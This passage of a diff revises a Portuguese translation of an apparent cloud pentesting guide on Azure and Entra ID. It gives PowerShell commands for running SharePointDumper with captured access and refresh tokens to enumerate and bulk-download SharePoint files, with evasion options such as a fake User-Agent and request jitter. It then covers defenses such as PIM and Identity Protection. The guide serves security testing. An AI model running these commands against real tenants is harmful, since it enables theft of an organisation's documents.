requerem `-Origin` para satisfazer a validação de origem da reply URL. +> FOCI TRUE clients suportam refresh entre dispositivos; FOCI FALSE clients frequentemente exigem `-Origin` para satisfazer a validação de origem da reply URL. ### Executando SharePointDumper para enumeration + exfiltration -- Dump básico com UA / proxy / throttling personalizado: +- Dump básico com custom UA / proxy / throttling: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' ``` @@ -1132,47 +1207,47 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 ``` -- **Retomar** execuções interrompidas (reenumera, mas ignora itens baixados): +- **Retomar** execuções interrompidas (reinicia a enumeração, mas ignora itens já baixados): ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant ``` -- **Atualização automática do token em HTTP 401** (requer EntraTokenAid carregado): +- **Atualização automática de token em HTTP 401** (requer EntraTokenAid carregado): ```powershell Import-Module ./EntraTokenAid/EntraTokenAid.psm1 .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' ``` Notas operacionais: -- Prefere tokens **CAE-enabled** para evitar expiração no meio da execução; tentativas de atualização não são registradas no log da API da ferramenta. -- Gera **CSV/JSON request logs** para **Graph + SharePoint** e oculta por padrão os tokens de download incorporados do SharePoint (configurável). -- Suporta **User-Agent personalizado**, **HTTP proxy**, **atraso por requisição + jitter**, e **desligamento seguro com Ctrl+C** para modelagem de tráfego durante testes de detecção/IR. +- Prefere tokens **CAE-enabled** para evitar expiração durante a execução; tentativas de refresh **não** são registradas no log da API da ferramenta. +- Gera **CSV/JSON request logs** para **Graph + SharePoint** e redige tokens de download do SharePoint embutidos por padrão (configurável). +- Suporta **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, e **Ctrl+C-safe shutdown** para modelagem de tráfego durante testes de detecção/IR. -## Escalada de Privilégios do Entra ID +## Escalada de Privilégios em Entra ID {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} -## Escalada de Privilégios do Azure +## Escalada de Privilégios no Azure {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## Mecanismos Defensivos +## Mecanismos de Defesa ### Privileged Identity Management (PIM) Privileged Identity Management (PIM) no Azure ajuda a **evitar que privilégios excessivos** sejam atribuídos a usuários desnecessariamente. -Uma das principais funcionalidades do PIM é que ele permite não atribuir papéis a principals que ficam constantemente ativos, mas torná-los **elegíveis por um período de tempo (por exemplo, 6 meses)**. Depois, sempre que o usuário quiser ativar esse papel, ele precisa solicitá-lo indicando o tempo que precisa do privilégio (por exemplo, 3 horas). Em seguida, um **admin precisa aprovar** a solicitação.\ -Observe que o usuário também poderá solicitar a **extensão** do tempo. +Uma das principais funcionalidades fornecidas pelo PIM é que ele permite não atribuir roles a principals que ficam constantemente ativos, mas torná-los **elegíveis por um período de tempo (por exemplo, 6 meses)**. Então, sempre que o usuário quiser ativar esse role, ele precisa solicitá-lo indicando o tempo que precisa do privilégio (por exemplo, 3 horas). Então um **administrador precisa aprovar** a solicitação.\ +Note que o usuário também poderá solicitar a **extensão** do tempo. -Além disso, o **PIM envia e-mails** sempre que um papel privilegiado é atribuído a alguém. +Além disso, o **PIM envia e-mails** sempre que um papel privilegiado está sendo atribuído a alguém.
-Quando o PIM está habilitado é possível configurar cada papel com certos requisitos como: +Quando o PIM está habilitado é possível configurar cada role com certos requisitos, como: - Duração máxima (horas) da ativação - Exigir MFA na ativação @@ -1181,9 +1256,9 @@ Quando o PIM está habilitado é possível configurar cada papel com certos requ - Exigir informações de ticket na ativação - Exigir aprovação para ativar - Tempo máximo para expirar as atribuições elegíveis -- Muitas outras configurações sobre quando e para quem enviar notificações quando certas ações acontecerem com esse papel +- Muitas outras configurações sobre quando e para quem enviar notificações quando certas ações ocorrerem com esse papel -### Políticas de Conditional Access +### Conditional Access Policies Check: @@ -1193,19 +1268,19 @@ Check: ### Entra Identity Protection -Entra Identity Protection é um serviço de segurança que permite **detectar quando um usuário ou uma tentativa de sign-in é muito arriscada** para ser aceita, permitindo **bloquear** o usuário ou a tentativa de sign-in. +Entra Identity Protection é um serviço de segurança que permite **detectar quando um usuário ou um sign-in é arriscado demais** para ser aceito, possibilitando **bloquear** o usuário ou a tentativa de sign-in. -Permite que o admin o configure para **bloquear** tentativas quando o risco for "Low and above", "Medium and above" ou "High". Porém, por padrão está completamente **desabilitado**: +Permite que o admin configure para **bloquear** tentativas quando o risco for "Low and above", "Medium and above" ou "High". Embora, por padrão, esteja completamente **disabled**:
> [!TIP] -> Hoje em dia é recomendado adicionar essas restrições via políticas de Conditional Access, onde é possível configurar as mesmas opções. +> Hoje em dia é recomendado adicionar essas restrições via Conditional Access policies quando possível, pois é onde é possível configurar as mesmas opções. ### Entra Password Protection -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas, bloqueando contas quando várias tentativas de login sem sucesso ocorrem**.\ -Também permite **proibir uma lista personalizada de senhas** que você precisa fornecer. +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas, bloqueando contas quando várias tentativas de login malsucedidas acontecem**.\ +Também permite **banir uma lista de senhas customizada** que você precisa fornecer. Pode ser **aplicado tanto** no nível cloud quanto no Active Directory on-premises. @@ -1213,7 +1288,7 @@ O modo padrão é **Audit**:
-## Referências +## References - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) - [SharePointDumper](https://github.com/zh54321/SharePointDumper)